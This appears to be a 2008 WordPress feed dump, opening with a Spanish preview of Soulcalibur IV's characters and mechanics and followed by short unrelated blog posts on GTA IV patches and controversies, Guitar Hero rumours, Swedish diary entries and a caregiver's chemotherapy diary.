<p>Personajes Nuevos.<br />
Algol, Hilde.</p>
<p>Personajes Extras.<br />
Angol Fear, Ashlotte, Scheherazade, Shura.</p>
<p>Personajes Invitados.<br />
Yoda, Darth Vader, “Starkiller”.</p>
<p>Hablemos un poco sobre ellos; creo que no hablare sobre los personajes clásicos ya que bien todos los conocen o bien se pueden encontrar en cualquier página de internet referente a SC4.</p>
<p>Algol<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Algol.jpg" alt="" /><br />
En uno de los Trailers de Namco aparecia un hombre de pelo blanco, bien, este es Algol, no se sabe mucho de él, de hecho, muchos aun lo consideran un rumor aunque apareció una imagen que lo confirma dentro de SC4.</p>
<p>Hilde<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Hilde-1.jpg" alt="" /><br />
Ya también muy conocida, aparece en las imágenes del juego (y en la portada de la versión de Xbox 360), usa una lanza y una espada corta, hasta ahora se le considera un personaje demasiado fuerte (al parecer, en los juegos que se han mostrado a la prensa y otros desarrolladores es un tanto desequilibrada) pero muy diferente a todos los anteriores.</p>
<p>Los Personajes Extras son diseños originales de varios artistas japoneses que realmente no pertenecen al mundo de SC, mas dan diversidad a los personajes.</p>
<p>Angol Fear<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/AngolFear.jpg" alt="" /><br />
Creada por Mine Yoshizaki, viene del mundo de “Sgt. Frog” siendo la prima de Angol Mois, es de piel obscura y pelo blanco, usa una lanza con forma de cruz y un contra-peso al final de esta.</p>
<p>Ashlotte<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Ashlotte.png" alt="" width="480" height="283" /><br />
Creada por “Oh! great”, es un personaje mecánico, ya que muestra engranajes en el abdomen y brazos, mas tiene aspecto humano, ella usa un hacha con una punta de lanza en el otro lado.</p>
<p>Scheherazade<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Scheherazade.jpg" alt="" /><br />
Creada por Yutaka Izubuchi, es una “elfa” (o tiene rasgos de) que usa una capa y una espada larga muy delgada, más parecida a un florete.</p>
<p>Shura<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Shura.jpg" alt="" width="283" height="385" /><br />
Creada por Hiroya Oku, usa ropa negra y calaveras de aspecto demoniaco (como lo describen en varios sitios) en su hombro, usa 2 katanas y 2 wakizashi (espada corta oriental, de hoja curva).</p>
<p>Los personajes Invitados son del universo de George Lucas, lo cual ha causado mucha controversia, Yoda y Darth Vader no necesitan presentación, solo decir que serán únicos para cada edición (Yoda para la de Xbox 360 y Darth Vader para la de PS3).</p>
<p>“Starkiller”<br />
<img class="alignnone" src="http://i146.photobucket.com/albums/r245/Gaffonium/Starkiller.jpg" alt="" /><br />
Es el aprendiz secreto de Darth Vader, el cual aparecerá en el nuevo juego de Lucas Arts; Star Wars: The Force Unleashed.</p>
<p>Mecánicas de Juego:</p>
<p>Aquí es algo interesante, hasta ahora hay pocas cosas confirmadas y siendo que todo lo hemos visto de juegos no terminados cualquier cosa pude ser agregada y eliminada.</p>
<p>Soul Charge, fuera! Si, al parecer ha desaparecido del juego.</p>
<p>Salto-&#62;Ataque Bajo, recuerdan cuando podían saltar y atacar para hacer un ataque bajo? Ese movimiento universal (estaba para todos los personajes) ya no está más.</p>
<p>Notaran en las nuevas imágenes y videos que hay una nueva barra debajo de la vida y un “diamante” de color a un extremo de la barra de vida, bien esto es para la mecánica de bloqueado:<br />
Cada vez que bloquees este diamante se irá tornando rojo, cada vez que ataques se volverá azul, cuando esté completamente rojo tu oponente podrá romper una parte de tu armadura y de esta manera causar más daño, si rompe las 3 partes de tu armadura puede ejecutar un movimiento final el cual te matara instantáneamente sin importar la cantidad de vida que te quede.</p>
<p>También, la idea de Crear a tu personaje (Create a Soul) fue llevada más allá, ya que no solo puedes darle nuevas armaduras a tus personajes creados, si no también a los personajes ya diseñados por los programadores y las elecciones que hagas sobre su armadura afectara tu manera de juego ya que algunas armaduras apoyaran la defensa o ataque de tu personaje.</p>
<p>Al crear un personaje las opciones son más diversas, desde color de cabello y piel, hasta la profundidad de la voz y detalles de ese estilo.</p>
<p>Otra mecánica que se ha implementado es el que en algunos combates se cambiaran los personajes mientras te atacan, muy al estilo de Tekken Tag.</p>
<p>Por cierto “Chronicles of the Sword” (crónicas de la espada) desapareció, dejando su lugar a lo que llaman “Tower of Lost Souls” (torre de almas perdidas) donde tendrás que ir subiendo los niveles para llegar a un cofre en la cima.</p>
<p>El manejo de los poderes de la fuerza para los personajes invitados se manejara mediante una barra especial la cual se consumirá cada vez que se use un poder, cuando está este vacía empezara a consumir la vida del personaje en vez.</p>
<p>Esta vez, SC4 tendrá un modo online, no se sabe más de este.</p>
<p>Y bien, eso fue todo, probablemente haya más cosas que no mencione, si las saben pónganlas como comentario, no?</p>
<p>Por cierto, sobre Kratos, se rumora que aparecerá en la versión para PS3, pero no es más que eso, un rumor, Savvy?</p>
<p>Links!!</p>
<p><a href="http://news.teamxbox.com/xbox/16933/Soulcalibur-IV-Gameplay-Movies/">Videos de Gameplay en teamxbox.com</a></p>
<p><a href="http://media.xbox360.ign.com/media/739/739577/imgs_1.html">Imágenes en ign.com</a></p>
<p>Créditos y Fuentes:<br />
1UP<br />
IGN<br />
TeamXbox<br />
Kotaku</p>
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<title><![CDATA[Grand Theft Auto IV: Rape game under investigation]]></title>
<link>http://whaticall.wordpress.com/?p=420</link>
<pubDate>Sat, 28 Jun 2008 18:44:30 +0000</pubDate>
<dc:creator>Omali</dc:creator>
<guid>http://whaticall.wordpress.com/?p=420</guid>
<description><![CDATA[Meet Gayle Slossberg and the wonderful work she is doing for children everywhere.

Gayle Slossberg i]]></description>
<content:encoded><![CDATA[<p>Meet Gayle Slossberg and the wonderful work she is doing for children everywhere.</p>
<p><!--more--></p>
<p>Gayle Slossberg is the Milford state senator and she has a bit of a problem on her hands: She is investigating a rape mini-game in Grand Theft Auto IV, the recently released game for the Xbox360 and Playstation3, but she cannot find it. The senator plays this off as simply not being that far in the game, but she is worried that this mini-game is corrupting the youth and believes a law requiring better warning labels should appear on these games.</p>
<p>Slossberg has gone as far as to label the game as depraved and that, whether or not this rape game exists, will certainly be the subject of legislation to have these games branded as such.</p>
<p>The problem, of course, with Representative Slossberg's recent find, is the same problem that has plagued other anti-gaming politicians: hard evidence. There has been no evidence of this mini-game's existence, and the premise of the mini-game (get points for raping people) is just as rediculous as it is stupid. The fact that Gayle Slossberg is going to introduce legislation based on a rumor she probably picked up on 4chan, goes to show that the politicians who have anti-gaming pasts are just grasping for straws at this point.</p>
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<title><![CDATA[Guitar Hero World Tour playable rockers including Hendrix, Ozzy and Sting?]]></title>
<link>http://guitarhero4.wordpress.com/?p=120</link>
<pubDate>Sat, 28 Jun 2008 12:23:54 +0000</pubDate>
<dc:creator>guitarhero4</dc:creator>
<guid>http://guitarhero4.wordpress.com/?p=120</guid>
<description><![CDATA[An online survey that may have spilled the beans on the artist line-up for Rock Band 2 may have also]]></description>
<content:encoded><![CDATA[<p>An online survey that may have spilled the beans on the <a href="http://guitarhero4.wordpress.com/2008/06/28/for-those-about-to-rock-band/">artist line-up for <em>Rock Band 2</em></a> may have also given us a peek at what's coming to <em>Guitar Hero World Tour</em>.</p>
<p><img src="http://members.aol.com/way2smug/hendrix.jpg"></p>
<p>Playable characters in the upcoming game <i>may</i> include <b>Sting, Ozzy Osbourne, Ted Nugent, Billy Corgan, Jimi Hendrix, Travis Barker, Hayley Williams,</b> and <b>Zak Wylde</b>.</p>
<p><a href="http://kotaku.com/5020466/survey-leaks-guitar-hero-iv-playable-rockers-including-hendrix-ozzy-and-sting" target="blank">Click here for more</a></p>
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<title><![CDATA[Grand Theft Auto IV inspires real life crime]]></title>
<link>http://australianews.wordpress.com/?p=223</link>
<pubDate>Fri, 27 Jun 2008 16:34:48 +0000</pubDate>
<dc:creator>jtsmyth8</dc:creator>
<guid>http://australianews.wordpress.com/?p=223</guid>
<description><![CDATA[The game, released in Australia last month, is the No 1-selling game on the Xbox 360 console and is ]]></description>
<content:encoded><![CDATA[<p>The game, released in Australia last month, is the No 1-selling game on the Xbox 360 console and is rated MA15+ in Australia,</p>
<p>In the real-life re-enactment of the game, the crazed youths' rampage involved mugging, several break-ins and an attempted car-jacking in Garden City.</p>
<p>"They decided they were going to go out to commit robberies and emulate the character Nico Belic in the particularly violent video game Grand Theft Auto," said Nassau County Police detective-lieutenant Raymond Cote.</p>
<p>"These teens have difficulty separating fact from fiction, fantasy from reality. It was quite alarming." (<a href="http://www.news.com.au/story/0,23599,23933866-2,00.html">news</a>)</p>
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<title><![CDATA[Great!]]></title>
<link>http://fjan.wordpress.com/?p=31</link>
<pubDate>Thu, 26 Jun 2008 20:14:57 +0000</pubDate>
<dc:creator>Daniel</dc:creator>
<guid>http://fjan.wordpress.com/?p=31</guid>
<description><![CDATA[Igår tältade jag, Cecilia, Ida, Lucas och Patricia på Patricias gård. Vi for till Eepee runt sju]]></description>
<content:encoded><![CDATA[<p><strong>Igår </strong>tältade jag, <a href="http://ceciilia.bloggsida.se/" target="_blank">Cecilia</a>, <a href="http://chika-chan-blog.blogspot.com/" target="_blank">Ida</a>, Lucas och <a href="http://exotic.bloggsida.se/" target="_blank">Patricia</a> på Patricias gård. Vi for till Eepee runt sjutiden och köpte godis och chips m.m. tills kvällen/natten. När vi kom tillbaka till Patricia hoppade vi på trampolinen, tog foton och pratade. Nån gång mellan 22 o. 23 så for vi in i tältet då det blev så kallt där ute. Där var vi och pratade och Lucas och jag "sjöng" våra fina sånger. :P Btw.. vår humor äger! xD Eeh.. sen hände väl inte så mycket före klockan fem då vi gick ut på en nattpromenad. När vi hade promenerat klart försökte vi sova lite, jag kunde bara sova 45 minuter.. -.-'</p>
<p><strong>På morgonen</strong> när vi vaknat så gick vi in till Patricia där några fortsatte att sova i vardagsrummet men jag så på "Den lilla sjöjungfrun" på Disney Channel. 8.30 så åt vi morgonmål och sedan tog flickorna ner tältet men Lucas och jag såg på barnprogramm och var med Selina! :P Halv ett for jag hem för att äta. Jag gjorde krullspaghetti (nudlar)! Sen gick jag i duschen och sen spelade jag GTA.  Senare ringde Lucas och frågade om han kunde komma till mej och han fick och vi fortsatte att spela GTA och sen kollade vi på gitarrer på Thomann.</p>
<p>BTW... Imorron kan jag inte komma ut, jag ska till farmor och farfar och jobba.</p>
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<title><![CDATA[Perspective is everything.]]></title>
<link>http://nvaine.wordpress.com/?p=53</link>
<pubDate>Thu, 26 Jun 2008 15:53:03 +0000</pubDate>
<dc:creator>nvaine</dc:creator>
<guid>http://nvaine.wordpress.com/?p=53</guid>
<description><![CDATA[First, and most important, thank you so much to Amanda Lynn. Five words of advice based on experienc]]></description>
<content:encoded><![CDATA[<p>First, and most important, thank you so much to <a title="Lost in the embrace of Amanda Lynn" href="http://amandalinn.wordpress.com/" target="_blank">Amanda Lynn</a>. Five words of advice based on experience are worth more than a thousand words of my best guesses.</p>
<p>Today was the last day of the first round of chemo.  Mom started the day at the hospital for radiation without me.  That allowed me to double the amount of sleep I got, from one hour to two.  I picked her up an hour later for chemo.</p>
<p>I was busy reading while mom was watching a woman sitting near her.  This woman does not have a port, and receives chemo through an IV in her arm.  No, wait, maybe her hand.  Um... how about the other arm?  Maybe the wrist?  Let's try the other hand.  That didn't work... back to the first arm again.  Almost... but no, we'll try the other arm again...</p>
<p>Eventually I noticed mom making faces like I'd just offered her liver for dinner.  She pointed and whispered, as though that woman didn't notice mom staring at her the whole time.  Mom explained the situation, then said "And she's just sitting there and smiling the whole time."</p>
<p>It was not too long ago that mom <a title="Today." href="http://nvaine.wordpress.com/2008/06/16/today/" target="_blank">flew into a panic at the surgeon's office</a> out of fear that she'd have to go through exactly the same thing.</p>
<p>She's smiling even though it hurts like hell, I told mom, because she knows she's fortunate enough to get the best treatment available anywhere in the world.</p>
<p>Mom looked at me with understanding.  I think she gets it.  No matter how much this sucks, her alternative is worse.</p>
<p>She's napping now.  In a few minutes I'll try to get some lunch into her.</p>
<p>And tomorrow she starts the heavy duty anti-nausea meds.</p>
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<title><![CDATA[Première photos officiel de Fast and Furious 4]]></title>
<link>http://lafoireolien.wordpress.com/?p=597</link>
<pubDate>Wed, 25 Jun 2008 20:16:17 +0000</pubDate>
<dc:creator>DJK</dc:creator>
<guid>http://lafoireolien.wordpress.com/?p=597</guid>
<description><![CDATA[





Sa sent le bon film ça !
&#8220;Fast and Furious 4&#8243; sur Allociné
]]></description>
<content:encoded><![CDATA[<p style="text-align:center;"><a href="http://i281.photobucket.com/albums/kk237/lafoireolien/7296F6FBA876451096C9D588DCEB8E94.jpg" target="_blank"><br />
<img src="http://i281.photobucket.com/albums/kk237/lafoireolien/th_7296F6FBA876451096C9D588DCEB8E94.jpg" alt="" /></a><br />
<a href="http://i281.photobucket.com/albums/kk237/lafoireolien/F91522D7DE3A4F7EB790FEF383178D8D.jpg" target="_blank"><br />
<img src="http://i281.photobucket.com/albums/kk237/lafoireolien/th_F91522D7DE3A4F7EB790FEF383178D8D.jpg" alt="" /></a><br />
<a href="http://i281.photobucket.com/albums/kk237/lafoireolien/2856012ACB5E45F1B21536679418874F.jpg" target="_blank"><br />
<img src="http://i281.photobucket.com/albums/kk237/lafoireolien/th_2856012ACB5E45F1B21536679418874F.jpg" alt="" /></a><br />
Sa sent le bon film ça !</p>
<p style="text-align:center;"><a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=131334.html">"Fast and Furious 4" sur Allociné</a></p>
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<title><![CDATA[Post #2 - GTA patches and angry Wii owners]]></title>
<link>http://dailygamernews.wordpress.com/?p=4</link>
<pubDate>Tue, 24 Jun 2008 13:08:56 +0000</pubDate>
<dc:creator>whypaymoney</dc:creator>
<guid>http://dailygamernews.wordpress.com/?p=4</guid>
<description><![CDATA[Hey everyone, it&#8217;s Tuesday 24th June and there&#8217;s not really much of interest out there f]]></description>
<content:encoded><![CDATA[<p>Hey everyone, it's Tuesday 24th June and there's not really much of interest out there for us gamers today.</p>
<p>I'll start with the news on GTA, because everybody likes grand theft auto! Rockstar has released patches for the game (for both Xbox 360 and Playstation 3) which will apparently fix any freezing and glitch issues you are having with the online multiplayer aspect of the game. Well, that can't be bad news I guess eh? All you need to do is get on and download them!</p>
<p>Secondly, thousands of Nintendo Wii owners are outraged at Nintendo's latest firmware update as it renders Datel's Freeloader (A Wii accessory which costs around £10/$20 and enables you to play games from any region on your wii) completely useless. Do oyu all have any opinions on this? If so just pop them in a text comment reply to this.</p>
<p>I know this has been a short entry guys but there really isn't much to comment on, I suppose I could share a bit of personal details such as.....today I brought a new HDMI cable, it's pretty sweet I guess.</p>
<p>Oh and finally, just to leave you with something to ponder, I just watched the trailer for Call of Duty: World at war and it lef tme thinking, is it actually going to be any good? It has a lot to live up to. For those of you who haven't checked it out, here it is:</p>
<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/Y_Ip_SaJqpg'></param><param name='wmode' value='transparent'></param><embed src='http://www.youtube.com/v/Y_Ip_SaJqpg&rel=0' type='application/x-shockwave-flash' wmode='transparent' width='425' height='350'></embed></object></span></p>
<p> </p>
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<title><![CDATA[Nuevo parche para Grand Theft Auto IV]]></title>
<link>http://desface.wordpress.com/?p=1356</link>
<pubDate>Tue, 24 Jun 2008 07:55:48 +0000</pubDate>
<dc:creator>desface</dc:creator>
<guid>http://desface.wordpress.com/?p=1356</guid>
<description><![CDATA[
Desde Rockstar ya se ha anunciado la salida de un parche para Grand Theft Auto 4. El parche estará]]></description>
<content:encoded><![CDATA[<p><a href="http://desface.files.wordpress.com/2008/06/rockstarsocialclub.jpg"><img class="alignnone size-full wp-image-1357" src="http://desface.wordpress.com/files/2008/06/rockstarsocialclub.jpg" alt="" width="510" height="144" /></a></p>
<p>Desde Rockstar ya se ha anunciado la salida de un parche para Grand Theft Auto 4. El parche estará disponible para  Xbox 360 y PlayStation 3.</p>
<p>Estos son los arreglos que incorpora:</p>
<ol>
<li>Se ha solucionado un problema en el que los jugadores no podían entrar ni salir de los vehículos en una Carrera GTA.</li>
<li>Se ha solucionado un problema en el que los vehículos programados hacían que las partidas se bloqueasen de forma impredecible.</li>
<li>Se ha mejorado la fiabilidad y la frecuencia de las actualizaciones de los marcadores en línea de PS3™.</li>
<li>Se ha solucionado un bloqueo poco frecuente experimentado por algunos jugadores al pasar desde la sala de juego de una Carrera o de una Carrera GTA a la carrera propiamente dicha.</li>
<li>Se ha solucionado un bloqueo que se producía cuando los jugadores cambiaban de equipo durante la cuenta atrás en la sala de juego.</li>
<li>Se ha solucionado un problema en el que los jugadores podían conseguir puntuaciones absurdamente elevadas en las partidas de Policías y ladrones.</li>
<li>Se han cambiado Carrera y Carrera GTA para que el último jugador que quede siempre reciba una recompensa de 250 dólares.</li>
<li>Se ha solucionado un problema en el que los espectadores podían impedir que la partida finalizase.</li>
<li>Se ha solucionado un problema en el que los jugadores no podían presenciar la ronda 2 de las partidas de Policías y ladrones.</li>
<li>Se ha cambiado la cuenta atrás de la sala de juego para que ya no se reinicie cuando se unan a la partida nuevos jugadores.</li>
<li>Se ha cambiado la opción de expulsión para que los jugadores expulsados no sean devueltos automáticamente al modo para un jugador.</li>
</ol>
<p>Así que  a actualizar y a jugar se  ha dicho.</p>
<p><a href="http://socialclub.rockstargames.com/patches/ES.html">fuente</a><a href="http://socialclub.rockstargames.com/patches/ES.html"></a></p>
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<title><![CDATA[A Silent Space]]></title>
<link>http://11avc11.wordpress.com/?p=137</link>
<pubDate>Mon, 23 Jun 2008 22:48:35 +0000</pubDate>
<dc:creator>AVC</dc:creator>
<guid>http://11avc11.wordpress.com/?p=137</guid>
<description><![CDATA[Coming back from joyous celebrations, I feel the need to refocus. And I need to create a space of my]]></description>
<content:encoded><![CDATA[<p>Coming back from joyous celebrations, I feel the need to refocus. And I need to create a space of my own to be able to do this. A space that is silent enough to allow for assessing the unbiased and actual state of affairs and the directions into which things are truly going. Only then it is possible to determine the next step.</p>
<p>A sacred space, without doubt.</p>
<p>It is important to realize that this calls for closing the door not only on "bad" influences, but on all outside influences, even forces well-meant.</p>
<p>Only in a silence of this kind, I am able to grow into the center of my own universe and nothing less is required if I shall hope to catch a ray of the infinite light from the sphere of the God's Will, however briefly.</p>
<p>It is in fact a bit misleading to speak about shutting out influences. The relevant methods are really about expanding the consciousness to encompass the entire universe, assimilating every single aspect within it. The sum of all is zero, and in the perfect equilibrium hides this silence that we are trying so hard to reach.</p>
<p>It is not less important for those having an urge to effect change, than to those prone to merely contemplating that which is. Indeed, this place of silence provides a crucial point of reference for any practical work.</p>
<p>Finally, it is worth repeating that which has been said so many times in other posts: Any ceremony or ritual is only an aid, a method to achieve the ultimate goal; never confuse the symbol with the thing it represents.</p>
<p>A proof of true success, I believe, is when we are able to bask in magical light, not only during rituals, but also on a Monday morning work-day. Now there's a real challenge!</p>
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<title><![CDATA[Var är sommaren?]]></title>
<link>http://fjan.wordpress.com/?p=27</link>
<pubDate>Mon, 23 Jun 2008 20:47:47 +0000</pubDate>
<dc:creator>Daniel</dc:creator>
<guid>http://fjan.wordpress.com/?p=27</guid>
<description><![CDATA[Idag då jag vaknade så spöregnade det. Gjorde nästan ingenting på hela dagen, spelade mest gita]]></description>
<content:encoded><![CDATA[<p>Idag då jag vaknade så spöregnade det. Gjorde nästan ingenting på hela dagen, spelade mest gitarr och GTA IV! Klockan sex ringde Lucas och frågade om han kunde komma till mig och han fick. Vi spelade gitarr och var på datorn. Senare såg vi på <em>Borat</em>. Klockan 21 for Lucas hem.</p>
<p><a title="Väder KRS" href="http://fmi.fi/vader/lokal.html?kunta=Kristiinankaupunki" target="_blank"><img class="size-full wp-image-26 alignnone" src="http://fjan.wordpress.com/files/2008/06/vader.jpg" border="0" alt="" width="359" height="163" /><br />
</a></p>
<address>Regn och mulet hela veckan?</address>
<p>När ska det bli någon riktig sommar? Sommarlovet hittils har varit regnigt, blåsigt och kallt. Bara några dagar sol och värme. Har dom hoppat över sommarn och gått direkt till hösten i år?</p>
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<title><![CDATA[GTA IV Multiplayer gets patched!]]></title>
<link>http://namelessgaming.wordpress.com/?p=134</link>
<pubDate>Mon, 23 Jun 2008 20:01:25 +0000</pubDate>
<dc:creator>namelessgaming</dc:creator>
<guid>http://namelessgaming.wordpress.com/?p=134</guid>
<description><![CDATA[Rockstar have release a new patch for both the PS3 &amp; X360 versions of the game, the patch improv]]></description>
<content:encoded><![CDATA[<p><a href="http://namelessgaming.files.wordpress.com/2008/06/patch.gif"><img class="alignleft size-thumbnail wp-image-135" src="http://namelessgaming.wordpress.com/files/2008/06/patch.gif?w=96" alt="" width="96" height="96" /></a>Rockstar have release a new patch for both the PS3 &#38; X360 versions of the game, the patch improved a number of multiplayer issues. Here is a list of the improvements made</p>
<p> </p>
<ol>
<li>Fixed an issue where players were unable to enter or exit vehicles in GTA Race.</li>
<li>Fixed an issue where scripted vehicles were causing games to unexpectedly crash.</li>
<li>Improved reliability and frequency of PS3™ online leaderboard updates.</li>
<li>Fixed a rare hang some players encountered when moving from a Race or GTA Race lobby into gameplay.</li>
<li>Fixed a hang that would occur when players were switching teams during the countdown in the lobby.</li>
<li>Fixed an issue where players were able to get ridiculously high scores from Cops 'n Crooks matches.</li>
<li>Changed GTA Race and Race so that the last player remaining always receives a reward of $250.</li>
<li>Fixed an issue where spectating players would prevent the game from finishing.</li>
<li>Fixed an issue where players were unable to spectate in Round 2 of Cops 'n Crooks games.</li>
<li>Changed countdown timer in lobby so that it no longer resets when new players join a game.</li>
<li>Changed the kick option so that kicked players are no longer brought back to single player.</li>
</ol>
<p> </p>
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<title><![CDATA[Metal gear Solid IV]]></title>
<link>http://nandram.wordpress.com/?p=903</link>
<pubDate>Mon, 23 Jun 2008 03:22:06 +0000</pubDate>
<dc:creator>nandram</dc:creator>
<guid>http://nandram.wordpress.com/?p=903</guid>
<description><![CDATA[
]]></description>
<content:encoded><![CDATA[<p><a href="http://nandram.files.wordpress.com/2008/06/mgs4-copy.png"><img class="alignnone size-full wp-image-904" src="http://nandram.wordpress.com/files/2008/06/mgs4-copy.png" alt="" width="355" height="139" /></a></p>
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